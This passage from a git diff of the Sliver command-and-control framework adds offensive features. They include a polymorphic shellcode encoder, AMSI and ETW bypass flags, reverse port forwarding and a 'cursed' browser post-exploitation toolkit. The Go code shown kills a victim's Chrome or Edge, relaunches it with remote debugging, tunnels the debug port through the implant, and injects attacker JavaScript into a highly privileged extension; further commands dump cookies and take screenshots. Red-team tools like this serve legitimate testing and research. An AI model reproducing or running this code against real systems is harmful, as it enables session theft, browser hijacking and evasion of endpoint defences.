interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
} else {
interval = time.Until(nextCheckin).Round(time.Second).String()
}
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
}
// We need a slice of strings so we can apply filters
var rowEntries []string
/*
Round the duration to the nearest second to be more output friendly.
We deal in seconds for everything, so it makes sense to show outputs
in seconds to remain consistent.
*/
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
if con.Settings.SmallTermWidth < width {
if wideTermWidth {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -186,8 +156,9 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
next,
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
} else {
rowEntries = []string{
@@ -196,8 +167,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
next,
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
}
// Build the row struct
+288 -3
View File
@@ -23,7 +23,7 @@ package command
Guidelines when adding a command:
* Try to reuse the same short/long flags for the same paramenter,
* Try to reuse the same short/long flags for the same parameter,
e.g. "timeout" flags should always be -t and --timeout when possible.
Try to avoid creating flags that conflict with others even if you're
not using the flag, e.g. avoid using -t even if your command doesn't
@@ -42,6 +42,7 @@ import (
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/cursed"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
@@ -65,10 +66,12 @@ import (
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/reconfig"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/rportfwd"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/command/shell"
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
"github.com/bishopfox/sliver/client/command/socks"
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/update"
@@ -454,6 +457,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "cert", "", "PEM encoded certificate file")
f.String("k", "key", "", "PEM encoded private key file")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
f.Bool("E", "disable-randomized-jarm", false, "disable randomized jarm fingerprints")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -480,6 +484,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.Bool("P", "prepend-size", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -515,7 +520,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Reconfigure the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
f.String("i", "beacon-interval", "", "beacon callback interval")
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
@@ -715,6 +719,28 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
tasksCmd.AddCommand(&grumble.Command{
Name: consts.CancelStr,
Help: "Cancel a pending beacon task",
LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}),
Flags: func(f *grumble.Flags) {
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("id", "beacon task ID", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
tasks.TasksCancelCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(tasksCmd)
// [ Use ] --------------------------------------------------------------
@@ -876,6 +902,9 @@ func BindCommands(con *console.SliverConsoleClient) {
Args: func(a *grumble.Args) {
a.String("session", "session ID", grumble.Default(""))
},
Completer: func(prefix string, args []string) []string {
return use.BeaconAndSessionIDCompleter(prefix, args, con)
},
Run: func(ctx *grumble.Context) error {
con.Println()
info.InfoCmd(ctx, con)
@@ -986,6 +1015,33 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
// [ Shellcode Encoders ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.ShikataGaNai,
Help: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
Args: func(a *grumble.Args) {
a.String("shellcode", "binary shellcode file path")
},
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save output to local file")
f.String("a", "arch", "amd64", "architecture of shellcode")
f.Int("i", "iterations", 1, "number of iterations")
f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sgn.ShikataGaNaiCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ Exec ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
@@ -1032,11 +1088,15 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("i", "in-process", false, "Run in the current sliver process")
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.Bool("s", "save", false, "save output to file")
f.Bool("X", "loot", false, "save output as loot")
f.String("n", "name", "", "name to assign loot (optional)")
f.Uint("P", "ppid", 0, "parent process id (optional)")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1067,6 +1127,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -1234,6 +1297,9 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("P", "password", "", "SSH user password")
f.String("l", "login", "", "username to use to connect")
f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
f.String("c", "kerberos-config", "/etc/krb5.conf", "path to remote Kerberos config file")
f.String("k", "kerberos-keytab", "", "path to Kerberos keytab file")
f.String("r", "kerberos-realm", "", "Kerberos realm")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -1282,6 +1348,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
@@ -1339,6 +1406,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
@@ -1491,6 +1559,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
@@ -1554,6 +1623,7 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
@@ -2471,6 +2541,59 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(registryCmd)
// [ Reverse Port Forwarding ] --------------------------------------------------------------
rportfwdCmd := &grumble.Command{
Name: consts.RportfwdStr,
Help: "reverse port forwardings",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.RportFwdListenersCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.AddStr,
Help: "Add and start reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StartRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
},
HelpGroup: consts.SliverWinHelpGroup,
})
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Stop and remove reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StopRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
},
HelpGroup: consts.SliverWinHelpGroup,
})
con.App.AddCommand(rportfwdCmd)
// [ Pivots ] --------------------------------------------------------------
pivotsCmd := &grumble.Command{
@@ -3263,6 +3386,168 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("r", "range", "sliver", "Agents range")
},
})
con.App.AddCommand(operatorCmd)
// [ Curse Commands ] ------------------------------------------------------------
cursedCmd := &grumble.Command{
Name: consts.Cursed,
Help: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
LongHelp: help.GetHelpFor([]string{consts.Cursed}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedCmd(ctx, con)
con.Println()
return nil
},
}
cursedCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Remove a Curse from a process",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("k", "kill", false, "kill the process after removing the curse")
},
Args: func(a *grumble.Args) {
a.Int("bind-port", "bind port of the Cursed process to stop")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedRmCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedConsole,
Help: "Start a JavaScript console connected to a debug target",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)`")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedConsoleCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedChrome,
Help: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
f.Bool("H", "headless", false, "start browser process in headless mode")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional chrome cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedChromeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedEdge,
Help: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
f.Bool("H", "headless", false, "start browser process in headless mode")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional edge cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedEdgeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedElectron,
Help: "Curse a remote Electron application",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("e", "exe", "", "remote electron executable absolute path")
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional electron cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedElectronCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedCookies,
Help: "Dump all cookies from cursed process",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedCookiesCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.ScreenshotStr,
Help: "Take a screenshot of a cursed process debug target",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
f.String("s", "save", "", "save to file")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedScreenshotCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(cursedCmd)
}
+3
View File
@@ -0,0 +1,3 @@
# Cursed
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
+435
View File
@@ -0,0 +1,435 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
insecureRand "math/rand"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
ErrUnsupportedOS = errors.New("unsupported OS")
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraChrome(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
}
}
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
chromeProcess, err := getChromeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if chromeProcess != nil {
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: chromeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(false, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
name := "Chrome"
if isEdge {
name = "Edge"
}
con.PrintInfof("Finding %s executable path ... ", name)
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Finding %s user data directory ... ", name)
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Starting %s process ... ", name)
debugPort := getRemoteDebuggerPort(ctx)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
if chromeUserDataDir != "" {
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
}
if ctx.Flags.Bool("restore") {
args = append(args, "--restore-last-session")
}
if ctx.Flags.Bool("keep-alive") {
args = append(args, "--keep-alive-for-test")
}
if ctx.Flags.Bool("headless") {
args = append(args, "--headless")
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExePath,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: chromeExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: chromeExePath,
ChromeUserDataDir: chromeUserDataDir,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
userDataFlag := ctx.Flags.String("user-data")
if userDataFlag != "" {
return userDataFlag, nil
}
switch session.GetOS() {
case "windows":
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
if isEdge {
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
}
return "", ErrUserDataDirNotFound
case "darwin":
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
if isEdge {
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
return "", ErrUserDataDirNotFound
default:
return "", ErrUnsupportedOS
}
}
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
exeFlag := ctx.Flags.String("exe")
if exeFlag != "" {
return exeFlag, nil
}
switch session.GetOS() {
case "windows":
chromeWindowsPaths := []string{
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
}
if isEdge {
chromeWindowsPaths = []string{
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
}
}
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
for _, chromePath := range chromeWindowsPaths {
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExecutablePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromeExecutablePath, nil
}
}
}
return "", ErrChromeExecutableNotFound
case "darwin":
// AFAIK Chrome only installs to this path on macOS
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
if isEdge {
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: defaultChromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return defaultChromePath, nil
}
return "", ErrChromeExecutableNotFound
case "linux":
chromeLinuxPaths := []string{
"/usr/bin/google-chrome",
"/usr/bin/chromium-browser",
"/usr/local/bin/google-chrome",
"/usr/local/bin/chromium-browser",
}
if isEdge {
chromeLinuxPaths = []string{
"/usr/bin/microsoft-edge",
